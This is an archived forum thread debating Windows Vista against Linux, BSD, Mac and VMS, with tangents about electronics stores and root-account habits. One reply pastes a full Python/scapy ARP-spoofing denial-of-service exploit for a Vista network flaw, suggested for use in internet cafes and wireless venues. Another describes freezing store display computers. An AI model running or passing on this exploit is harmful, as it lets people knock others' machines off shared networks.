My OS is better than YOUR OS

OK, it's been a while, and it's also almost 3 AM and I'm hopped up on some pretty damned strong coffee and can't sleep and probably won't tonight, so, entertain me or I'll push your buttons until you core dump into my bidding...

Windows Vista has been out for a while now, and Microsoft are giving themselves a pat on the back-

http://blogs.technet.com/security/ar...ty-report.aspx

So Vista is now secure because of some stuff they put in there and because there aren't as many patches?

What about Linux? My little Slackware FTP server is still running after almost 3 years and still going strong, and my laptop with SUSE which I make all my music on, or my test box currently with an nitentionally NOT updated Windows 98 SE installed on one partition and FreeBSD 6.3 stable on the other, or my perl / coding box running Slackware and Windows 2000 and this machine running XP and SUSE seem to be a lot easier to lock down than this thing is.

Weren't there viruses for the 64 bit version before it was even released? If Microsoft hired Virus writers to work for them they'd probably have better compatibility with hardware AND smaller requirements.

I have a hard time believing I need an upgrade to be locked down tight that certainly makes all those complaints from a few years ago that Windows XP was a resource hog seem almost funny compared to what Vista needs to get going....

Which from what I've seen is kind of like putting an 18 wheeler on one of those two way roads that barely has enough room for a car let alone a truck, or two of them at that.

And how many games are supported? Hell I know a bunch of people who say they stay away from Linux and BSD and other UNIX style OSs just because of games, yet it seems to me with Vista, Linux can run MORE games than it can...

That Novell commercial targeted at Windows Server 2003 comes to mind, it really is the same thing as when XP came out.. "This is a huge change because ummm, it looks nothing like Windows 2000 or the 9X series, so pay a bunch of cash and you too can have an OS with almost no compatibility and minimum system requirements that weren't even POSSIBLE TO OBTAIN just 5 years ago!"..

I have a hard time even finding people who use Vista let alone love it.

Does anyone here have anything good to say about it or how secure it is? Should that pat on the back really be a shove?

My FreeBSD and Linux boxes don't require much to be used remotely with SSH, and I can update both that way without buying extra software, and I sure don't need new hardware to run them.

It's almost like they are trying to compete with Doom 3 to see if people will upgrade hardware just to run their software... Maybe to get back at them from when they said more copies of Doom were installed than Windows in the early days (I actually have the video of Bill Gates super imposed in the Doom demo which is beyond funny)..

As for that interface... Well... I guess it's nice to see the company employing some of the richest people on Earth finally catching up to Enlightenment using Linux and BSD from around 2000...

Oh and let's not forget servers! Wow what a great idea! Make a Server OS that MAKES you use a GUI even if it's sitting in a closet with no monitor even hooked up wasting RAM... Nice!

Anyway, this is all on purpose to see if a couple years changes a good bash session between people who use different software :)

I'd say keep it super friendly but I'd be lying *giggle*.

However you SHOULD keep it non-personal.

In terms of security, Vista actually implemented some serious cutting-edge stuff beyond the user-level annoyances. But that's like putting a high tech alarm system on your old broken down tool shed that only holds ur shovel and wheel barrow...

But it's security features alone are not enough to make me use, recommend, or even walk down the same isle in the store where it's being displayed, as Vista.

I see it every time we go to Best Buy. right where the Linux display used to be lol.

They used to have some cool stuff there, I bought the Complete Free BSD Power Pack from there once back in the 4.0 days. Ahhh memories...

What the hell happened to these places?

ive worked on sevral vista computers , i dont know what microsoft was even thinking releasing it ,right now from my point of veiw ,its worse than xp was when it was first released ,they developed it a long time ,i think they beta tested it for 2 yrs ,they still cant get it right?,they pretty much perfected xp so they released something else that is screwed up, where is the logic?, now where did i put that ubuntu disc ?

Microsoft IPv6 TCP/IP Loopback LAND Denial of Service Vulnerability
still exist in Vista Business and Enterprise (The only two versions I test)

This thing still works on fully patched vista machines.

Code:

---

#!/usr/bin/env python
#
# :: Kristian Hermansen ::
# Date: 20070514
# Reference: CVE-2007-1531
# Description: Microsoft Windows Vista (SP0) dumps interfaces when
# it receives this ARP packet.  This DoS is useful for an internet
# cafe, wireless venue, or legitimate local attack.  The victim will
# need to manually refresh their network interface.  OK, sure
# it's a dumb local attack, but why does Vista disable iface!?!??
# -> Thanks to Newsham / Hoagland
# Vulnerable: Microsoft Windows Vista (SP0) [All Versions]
# Tested:
# * victim == Windows Vista Enterprise (SP0) [English]
# * attacker == Ubuntu Feisty (7.04)
# Usage: python fISTArp.py <victim>
# Depends: scapy.py
# [?] If you don't have scapy
# [+] wget http://hg.secdev.org/scapy/raw-file/tip/scapy.py
 
from sys import argv
from os import geteuid
from scapy import Ether,ARP,send,srp,conf
from time import sleep
 
conf.verb = 0
 
def head():
    print """
                      __ ___ ____ _____  _               
                      / _|_ _/ ___|_  _|/ \  _ __ _ __ 
                    | |_ | |\___ \ | | / _ \ | '__| '_ \
                    |  _|| | ___) || |/ ___ \| |  | |_) |
                    |_| |___|____/ |_/_/  \_\_|  | .__/
                                                  |_|   
 
    """
 
def isroot():
    if geteuid() != 0:
        print "TRY AGAIN AS ROOT SILLY..."
        return False
    else:
        return True
 
def usage():
    print "usage:", argv[0], "<victim(s)>"
    print "examples:", argv[0], "192.168.1.100"
    print "examples:", argv[0], "192.168.1.0/24\n"
 
def fisting():
    arp_fist = ARP(pdst=argv[1],op=2)
    print "We are going to loop forever, CTRL-C to stop...\n"
    while True:
        sleep(3)
        for a in arp_fist:
            arping = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=a.pdst)
            ans,unans = srp(arping,timeout=0.1)
            if len(ans) == 1:
                a.psrc=a.pdst
                print a.pdst, "is ALIVE!"
                print "* Time to shut it down!"
                send(a)
                ans2,unans2 = srp(arping,timeout=0.1)
                if len(unans2) == 1:
                    print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
                    print "@@@", a.psrc, "was rubber fisted!"
                    print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
                    sleep(3)
                else:
                    print "FAILED:", a.pdst, "is still alive :-("
            else:
                print a.pdst, "is already DEAD!"
            print
 
head()
if isroot() != True:
    exit(1)
if len(argv) != 2:
    usage()
    exit(1)
else:
    fisting()

---

And God knows how long its been around.

After M$ got caught with FreeBSD tcp code in their kernel, they had to re write the whole stack. It's full of bugs and holes. IMO it's the first unsecured kernel M$ released since NT SP 5

I love VISTA! Whenever I get bored I will do one of two things, either go to best buy/ any electronic store and find the computer displays, walk up and hold the little windows key + e for about 8 seconds.... watch em freeze up and laugh at Microsoft. Or I will let my little brother get on my friends laptop and play online and mess around with it like he would XP, and then see if I can fix it =)

Quote:

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Originally Posted by gore

I see it every time we go to Best Buy.

---

Gore, why in your right mind would you ever step foot into a Best Buy? And to think, I once respected you.

Quote:

---

Originally Posted by delstar

Gore, why in your right mind would you ever step foot into a Best Buy? And to think, I once respected you.

---

I'll reply to more of this later, kinda busy right now, but this one I can reply to quickly:

Best Buy carries Grindhouse releasings, no one else in my town does. That's why. And they're cheap, two Grindhouse DVDs for 9.99, where I would normally have to order it online because fo the rarity of sexploitation and gore films / splatter movies, which si where my name comes from.

Explains alot, but seriously, find a Fry's or something.

Fry's... where you take back a defective network card, and they put it back in a box and on the shelve for the next sucker!

Questioning going to Best Buy for "respect" reasons (or whatever) is fine - then mentioning Fry's, though? I don't know about that one ;)

The only frys here comes with salt on it with a burger, there really is no where else unless you count ONE store here that's owned by some guy around here, and last time I went in he was still selling Pentium 3s, and Windows NT, and ripping people off. So I stay away from there.

I've personally never had a problem with them, even when making returns. They're always prompt and courteous. I do, however, read horror stories of BB's customer service nearly every day.

Aside from that, it sounds like Gore's view of OS's is pretty much the same as mine. I use what's needed, where it's needed. Different OS's have different purposes. I'm personally sick of the 'OS wars'.

If there isn't a better store, I'd just buy online. If you haven't noticed, I hate BB with a passion, and will never shop there again.

if you haven't noticed there is an edit button lol... just playing (couldn't resist)
Yeah BB is for the "public" =)

Well, I really didn't know holding the Windows key and e for a while did something, but OK cool lol.

Wow you guys hate BestBuy huh? Really it's the ONLY good place for software music and movies here.

I mean there are other places, but literally they charge about twice the price of BestBuy. A lot of Grindhouse Releasing DVDs are like 20 or more dollars, Best Buy has them for 9.99, and some DVDs worth like 50 dollars Best Buy has for like 25 or so, so if you like Underground Horror movies, Best Buy is it. Same with CDs.

And if you like The Crystal Method, Best Buy is the only place to get the Drive album.

And software; I got The FreeBSD Powerpack there, BeOS Pro 5 and the books there and most of my SUSE Linux boxed sets there. Not many other places sell it on shelf anymore.

That and I get deals since security staff and most of the sales people in the electronics area are friends of mine, so I get monitors for 50 - 99 dollars :)

Quote:

---

Originally Posted by delstar

Aside from that, it sounds like Gore's view of OS's is pretty much the same as mine. I use what's needed, where it's needed. Different OS's have different purposes. I'm personally sick of the 'OS wars'.

---

Reposted for truth.

I like my comp, and the OS I run. It works fine, and I can't complain. The whole UNIX>Linux>Win>Mac type arguments are annoying. If whatever system works for the user, then the user is satisfied. End of story. OS elitism is ridiculous, and makes overzealous users of (x) OS seem like idiots, IMO.

O

Quote:

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Originally Posted by Ouroboros

Reposted for truth.

I like my comp, and the OS I run. It works fine, and I can't complain. The whole UNIX>Linux>Win>Mac type arguments are annoying. If whatever system works for the user, then the user is satisfied. End of story. OS elitism is ridiculous, and makes overzealous users of (x) OS seem like idiots, IMO.

O

---

I agree. I use both linux and m$. It just depends on what I want to do. So far, I'm not terribly impressed by Vista. A lot of the programs I use at work won't run on Vista without a lot of tweaking. I actually get excited with disbelief when I see a setup program run to completion on Vista... That said, I'm trying my best with it. I use it daily on my laptop. I just have another laptop sitting right next to it loaded with XP for the programs that Vista wouldn't run... or, sometime I'll remote desktop to a XP workstation.

I don't have enough experience to comment on mac. I refuse to buy one at their prices. If work were to give me one, then I might think about it... but until then... I won't even walk into the store.

This may seem odd or not, but I would actually LOVE to have a Mac to play with. I have only used OS X like twice in my whole life, and that was at school in a graphics class I dropped because they didn't point out that it was really just a marketing class to teach you how to make ads in illustrator or whatever.

I sat at the 21 inch flat screen LCD with dual G5s and a gig of RAM while the other kids sat at G4s. Probably because EVERY persno in there but me was a serious Mac weenie and in other words, hippy. So my long haired punk industrial self sat wherever I wanted and no one tried to talk to me but the teacher, who only knew how to use the app the class used, and kept yelling at me for opening the Terminal... Specially when he saw me reading root's directory...

My other teachers didn't care and as usual stood up for me since I'm actually well liked by the CS teachers. I help out in class and get good grades when I'm there so they have no problem saying to the heads "No he was actually doing this to help expand the Security + class by working out a real work scenario when he got the firewall logs to spew out of that printer" and then "Umm, gore you'll have to write a quickie paper on that but we got you out of trouble" lol.

Obviously they didn't call me gore, but most people here either know my real name, or they don't becauise I don't like them anyway, or they're just new :)

Anyway though, I thought the interface was nice. Reminded me of Enlightenment.

And of course, Apple being founded by a phreaker / hacker is cool too, and bringing UNIX to the home user like no one in history is also cool.

I'd like to have a Mac just to learn how the system works. Just in case I need to work on one in the future or something.

I just reentered the Mac world after 8 or 9 years as a Slackware user (still have Slack with VMware on my shiny new iMac). I still sort of flinch when I have to restart my computer after installing or updating an app (wtf is up with that). I am forced to use XP for work. So I use all 3 on a daily basis. When all is said and done, I feel Linux is safer and more stable than the others.

Microcenter has a very large selection of PCs and components....and good prices. That would be my #1 store...its just that there isn't enough of them.

Compared to when XP was 1 year old...Vista is by far better. I do not mind it. Its been working fine for my everyday box. Microsoft is known to be incompatible with older apps...and they'll always be a bunch of dicks about it. Phish...I see that problem every day...I deal with a lot of business customers who cannot jump to vista because most of their software will not work. Luckily we still provide some XP-pro machines at our store.

Gore...you provide some of the best Linux information I've ever seen...but you gotta admit...when it comes to windows, you'll always be negatively biased ;)

Of course I am, that was the point of this whole thread ;) to entertain with a discussion that always pushes buttons. ;)

Quote:

---

Well, I really didn't know holding the Windows key and e for a while did something, but OK cool lol.

---

yeah, it just opens up a new window, if you hold the two keys down it will keep doing so; and if you hold if for like 7-8 seconds the OS can't keep up with the task and freezes =)

If I knew how to run Linux based OS's like I can Microsofts then I would for sure switch... right now my advanced programming CSC class is enough for me lol.

Quote:

---

Originally Posted by delstar

I'd like to have a Mac just to learn how the system works. Just in case I need to work on one in the future or something.

---

Same here. But, I'm not willing to pay for it just yet. Maybe later down the road if they drop their prices and I have more people asking me mac questions.

I've tried to fully switch to linux. It is difficult. I'm comfortable doing my everday tasks on my xp boxes. I'm not comfortable doing the same on a linux box. That said, I'm very comfortable running servers on linux. If linux were to come up with something like active directory and group policy... I'd go linux on the server side all the way.

Phishy, http://www.novell.com ;)

It's not the operating systems its the cult zealots and the snake oil salesmen that push this stuff that we hate. I mean if Steve Jobs **** in a beige plastic box he could sell the "IShit" and people will buy it because he's a "visionary". Gates was the same way but he's lost his mojo.

Every Os has it's strengths and weaknesses. I remember using C64 basic, Atari all excellent systems for their times.

The best system I used was OpenVMS. HP (the current license holder) is having a promotion on the 30th anniversary of VMS. A lot of companies are still using it, I still have my DECUS (Digital Equipment Computer USers group) card.

VMS.....................arrgh! I just wet meself! :D

I have RISC..... not bad, but not in the same sentence as VMS?

My wife has just come back from hospital and her cancer operation................

She has deliberately restricted herself to the paracetamol tablets, and is saving the shedload of codeine phosphate for yourself :D

Do not even think about my cacti!!!!

Johnno

I've still never used VMS. From what I hear from the 13 year old graduating a virgin types it's un-hackable, which I believe to be crap. No software is "un-hackable".

And for the people on THIS side of the ocean, paracetamol = Tylenol / Acetaminophen. :)

Didn't one guy who worked on VMS help write Windows NT?

hmmm... Great! Well, I was about to buy a new laptop. Since here in India, no-one offers a Laptop with Linux, I am at loss of both bucks and brain. Anyway I think that something good can be expected of Vista SP1.

As of now. I just shifted completely to Linux and after using Linux for Long time, I can say "openSUSE rules". I am running so many of things I could not even imagine under Windows (any version). With about 100 software in menu that covers all that can be done (except animation and video editing . . . thats what I do not know anyway, and I don't need to:) ). Windows would have been a crawler if I loaded so many apps on it.

As far as vists is concerned, one of my friends bought a laptop (of course vist HP installed) and he is just sick of the number of crashes, slow copying, high mem usage and OS slow-downs. Now what does an OS mean if it crashes on a hardware which is said to be WELL SUPPORTED and the drivers loaded properly by the manufacturer. Anyway I am on Linux and am free of that one till I get a new laptop.

VMS was easy or hard to hack depending on how tight a company made their security.

Every file, directory or program had protection. You had 4 categories of users
system: the system manager
owner: the user that created or owned the file
group: the group of users the owner belonged to
world: everybody else that had access to the system

Then you had 4 categories of privelege
R read... the file could be read or copied
W write... the file could be edited or written to
E execute... the file could be executed
D delete... the file could be deleted

So in a verbose directory listing you'd see

file.ext (S:rwed, O:rwed, G:re, W:r)
the owner of the file could lock out his account, directories and files from everyone but Sysadmin.

You could make security real tight by the system or by user. Most VMS hacks were social engineering or just bad system admin. You'd see some users get creamed and other users who set their security tight get untouched. It really was a great system. I'd write a tutorial about it if anyone cared

Nihil...I had to give up the pain meds but thank your wife for thinking of me. Pain is my friend, it lets me know I'm alive. I hope the recovery is going well for the "missus"

This is interesting, I use the word H A C K twice in tha post and it came up as "wear fishnets" . I'll type it again hack I wonder what will come up when I post it.

Fourdc : Let me introduce you to AO's newest word filter, the wear fishnetser (yes, that was meant to be the H word). I guess the admins got sick of that word being used so much.

Or we wanted to mess you your head :)

I vote for axe weilding school teacher next!

Interesting,

I wonder how long it will be before the general public starts using it, instead of the "slashdot effect" we can have the "AntiOL effect"

This can be a combination easter egg hunt and "You bet your life" game. Each week the sysop chooses a magic word and puts it through the word filter, when some unsuspecting user trips over the "word", the user gets spammed with a picture of the sysop in fishnets.

( background for younger users... "You bet your life" was an old black and white TV show hosted by Grouch Marx. He interviewed people and if someone used the word of the day, a rubber chicken would swing down from the ceiling )

you'd probably be old enough to know this if you used VMS LOL

Hey guys,

Remember that the MAC is based on *nix. There are already two root kits in the wild that infect MAC's. Add to that the new macOS runs on Intel hardware - (cheaper - easier) = more market share. More market share = more macOS virus writers.

So Uh - yea. Any malware, antivirus or prevention strategies for the MAC tested and in place?

Just think - in a few years - "Put a MAC on line and it will be infected in ten minutes" Might not be too far from the truth.

I think the dino is right. I am thinking of protecting my openSUSE!

Well of course he's right. Firefox has already proven that. But at the same time it wouldn't touch how bad Windows 9X was. There aren't any real user accounts. That's ONE reason people don't write many virii for Linux and UNIX these days. Though the original worm, the first, was of course for UNIX :)

One thing though, you can be sure as lonig as you don't run as root, you can't really screw up anything if you actually adhere to some standards in root. You could say the same for NT. If you don't use admin for everything, you're helping protect your box.

Well, gore, may i ask you WHAT RULES do you think one must adhere to when using the root account. Since I am completely on Linux now, I think I must know. Of course I am aware of many points but then a geek like you must be able to point out some even important points.

Lol, geek? Well yea. I guess so, but most geeks hate me because I hate Star Trek, Math, Hitch hikers guide to the galaxy, and most other geek movies about science fiction and because I play bass and don't talk like that guy on the Simpsons. Duno why but at my college some of them hated me, like 2 of them, because I wasn't a noticeable geek...

OK anyway, umm what I meant about that:

Everyone here has probably seen "Don't use root for day to day" even reading BOFH teaches you that, but it's good info. If you come from Windows it's hard to get into the habit of using a basic user account.

Hell I know I find mysef logging in as admin all the time on Windows just because I'm to damn lazy to remember the commands for running things as admin. I know on UNIX based stuff it's "su" or you can do "sudo" and just have ONE application running as root while being logged in from a regular user account...

Or I can open an E-Term (I prefer that over most others, not because it's more secure, but simply it looks pretty by default, both font wise and others) and use that to do this:

su
rootpassword
root@host:->#
And now I have a terminal loaded as root, and can use that to run apps on the box as root like YAST2, though most modern BSD and Linux distros will ask you for the root password for that stuff before loading it so you can run it as root, especially in KDE and Gnome where it does that for the date and so on.

But I have one machnie here that I'll use as an example:

I have an OLD ass box here, it was my Mom's first computer, it's a Celeron @433 MHz with 192 MBs RAM, which was an upgrade, it had 32 or 64, I don't recall right now, and an 8 meg video card, and a 15 inch CRT.

Well the HD died in it and I said "Don't throw it out I'll use it!" and She ordered a brand new computer, and I slapped a brand new 80 GB HD in there and it works great now.

I knew it was the HD because She told me She heard weird grinding noises sometimes and it would stop working. So I put it an 80 GB drive I bought for oneof my machines and installed Slackware, Debian, and FreeBSD on it. Currently, that box is STILL running.

I have it logged in on tty6 as a user with IRSSI running, and I have FVWM2 loaded on it because it IS slow but it works fine for that and I can even web surf on it with Firefox.

Right now it's running Apache for my tests on my LAN, I made some directories to tets stuff out with it, and being lazy I just did "vim index.html.en" instead of making a new HTML index page for apache, I just edited the default example, deleted the rest except the German one and made some links to test if I had done it right.

So now I can watch Cannibal Ferox over my network.

Well to do that, I loaded up like 5 Xterms, logged in as root on a few and user on a few others. On the ones I loaded as a user, I loaded this:


gaim &

Firefox &

and then minimized it.

The root ones, I did this:

vim index.html

cp /home/myusername/media/video/CannibalFerox /var/www/htdocs/test

cp /home/myuseraccount/media/mp3/TheCrystalMethod/SomeSong.mp3 /var/www/htdocs/test

And then coded the page, and loaded it up.

So there is one example; I'm leaving Xterms loaded as root so I can work on the page for Apache, I just leave vi loaded with the index int here and save it when I change it instead fo closing it because it's a work in progress, and the other root shell open I use to load new things to the directory.

The other shells are loaded up with regular users and I load things like Gaim or Pidgin, and web browser in there.

I also have an FTP server installed on that box too, but I don't allow it any connections from the net, I have a box I use JUST as an FTP server already, a MUCH faster one with a bigger HD, and it's the one I brought up in the first post of this thread, been running for 3 years now. I think I've rebooted ONCE.

If it matters, I use VSFTPd. I like it and know how to use it for what I do. I just don't like using this testing machine as a real server because I also use it for some day to day things and I don't like running ANY servers on a machine that does that.

I use one box for a server and I don't use that for user stuff. Needless to say my Server doesn't use X either. Waste of resources. I rarely even turn the monitor on, when I want to update or check for them, I use SSH. So generally that side of the tech room has the monitor off, and sits there waiting for me to use it to run a network back up, which then I plug in my external USB HD and back THAT back up up so I have full back ups of the machines. All of them. I make directories for each box and each type, but when it comes to MP3 and videos and stuff, I just use one account for all that stuff + most of the other stuff. That way it saves on disk space.

So that box sit's in the far corner, and then there is a desk fan running to keep it cool + the box I was just talking about before that cool too since I don't run it with the case on.

There isn't a fan on the CPU for some reason.... There is a heatsink, but no fan on it, and the power supply fan blows right on the heat sink which seems odd to me. But anyway, I leave the case off, and have a little like 12 inch fan on the floor blowing cool air into both machines.

Which is good bevcause my Cisco switch and my Router both are in that area too, so lots of wires back there.

And the first computer I ever bought is right next to that, running FreeBSD and Windows 98 SE. I installed Windows 98 SE and didn't patch it on purpose to test stuff.

That one runs with just the side case taken off to help cooling. I spray them out with duster to keep them clean inside.

The server and my main desktop run with the case on though, they're more expensive.

Anyway this is really long, but I wanted to give you a decent answer instead of linking to some web page or whatever telling you how to do this. So I gave you a run down of how I operate instead of some jack ass web page like I said, that's impersonal. I think it was better to say "well, this is what I do and how I actually work here".

Hope that helps.

I think that I have understood from your post that I must run minimal number of apps as root. Anyway the only app that is always (almost) runnning as root is my dialer (wvdial) and the rest as generals.

I have another small question:

How many computers do you have? I am amzaed to hear of the word 'another' referring yet another machine you own. Do you remember the count?

And I think I got the key there. The key is: your are a geek. ;) and most of the things you runs as root are only those which need to be run as root.